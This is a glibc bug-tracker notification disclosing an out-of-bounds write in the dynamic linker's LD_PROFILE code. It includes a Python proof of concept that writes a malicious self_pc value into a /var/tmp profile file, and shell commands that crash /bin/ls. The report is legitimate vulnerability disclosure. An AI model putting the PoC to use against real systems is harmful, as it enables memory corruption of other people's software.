[Bug dynamic-link/33797] New: elf: Out-of-bounds write in ld.so profiling via unvalidated self_pc
carlos at redhat dot com
sourceware-bugzilla@sourceware.org
Wed Jan 14 21:23:23 GMT 2026
https://sourceware.org/bugzilla/show_bug.cgi?id=33797
Bug ID: 33797
Summary: elf: Out-of-bounds write in ld.so profiling via
unvalidated self_pc
Product: glibc
Version: 2.43
Status: NEW
Severity: normal
Priority: P2
Component: dynamic-link
Assignee: unassigned at sourceware dot org
Reporter: carlos at redhat dot com
Target Milestone: ---
## Summary
A heap-buffer-overflow exists in glibc's dynamic linker profiling code
(`elf/dl-profile.c`).
## Vulnerability
Profile files are mmap'd `MAP_SHARED` from `/var/tmp`. The loader trusts
`self_pc` values from these files without bounds checking:
```c
// elf/dl-profile.c:452-456
to_index = (data[idx].self_pc / (HASHFRACTION * sizeof (*tos)));
tos[to_index] = newfromidx; // OOB write - no bounds check
```
The same pattern exists in `_dl_mcount` (lines 550-556) for runtime arc
updates.
**Missing validation:**
- No check that `self_pc < textsize`
- No check that `to_index < tos_slots`
- No file ownership verification
## Proof of Concept
Tested on glibc 2.36 (Debian Bookworm, ARM64).
**Step 1:** Create valid profile, then inject malicious `self_pc`:
```python
#!/usr/bin/env python3
import struct, sys, os
f = sys.argv[1]
data = bytearray(open(f, 'rb').read())
ptr = 8 # pointer size (8 for 64-bit)
# Parse header to find arc records
off = 20 + 4 + (2 * ptr) + 4 + 4 + 16 # gmon_hdr + tag + hist_hdr
low = struct.unpack_from('<Q', data, 24)[0]
high = struct.unpack_from('<Q', data, 24 + ptr)[0]
textsize = high - low
hist_size = struct.unpack_from('<I', data, 24 + 2*ptr)[0]
off += hist_size * 2 + 4 # skip histogram + arc tag
narcs_off = off
off += 4 # narcs field
# Inject OOB self_pc into first arc record
arc_size = ptr + ptr + 4 # from_pc + self_pc + count
malicious_self_pc = textsize + 0x40000000 # 1GB beyond valid range
struct.pack_into('<Q', data, off + ptr, malicious_self_pc)
open(f, 'wb').write(data)
print(f"Injected self_pc=0x{malicious_self_pc:x} (textsize=0x{textsize:x})")
```
**Step 2:** Trigger crash:
```bash
LD_PROFILE=libc.so.6 /bin/ls # Creates /var/tmp/libc.so.6.profile
python3 inject.py /var/tmp/libc.so.6.profile
LD_PROFILE=libc.so.6 /bin/ls # SIGSEGV
```
## Affected Versions
- **Introduced:** commit `321e8782bd2` (2004-07-06)
- **Still present:** HEAD (line 556 updated `210ee295033` 2025-09-10)
- All glibc releases since 2.3.4 with `LD_PROFILE` support enabled
Reported-by: Igor Morgenstern, Aisle Research
--
You are receiving this mail because:
You are on the CC list for the bug.
More information about the Glibc-bugs
mailing list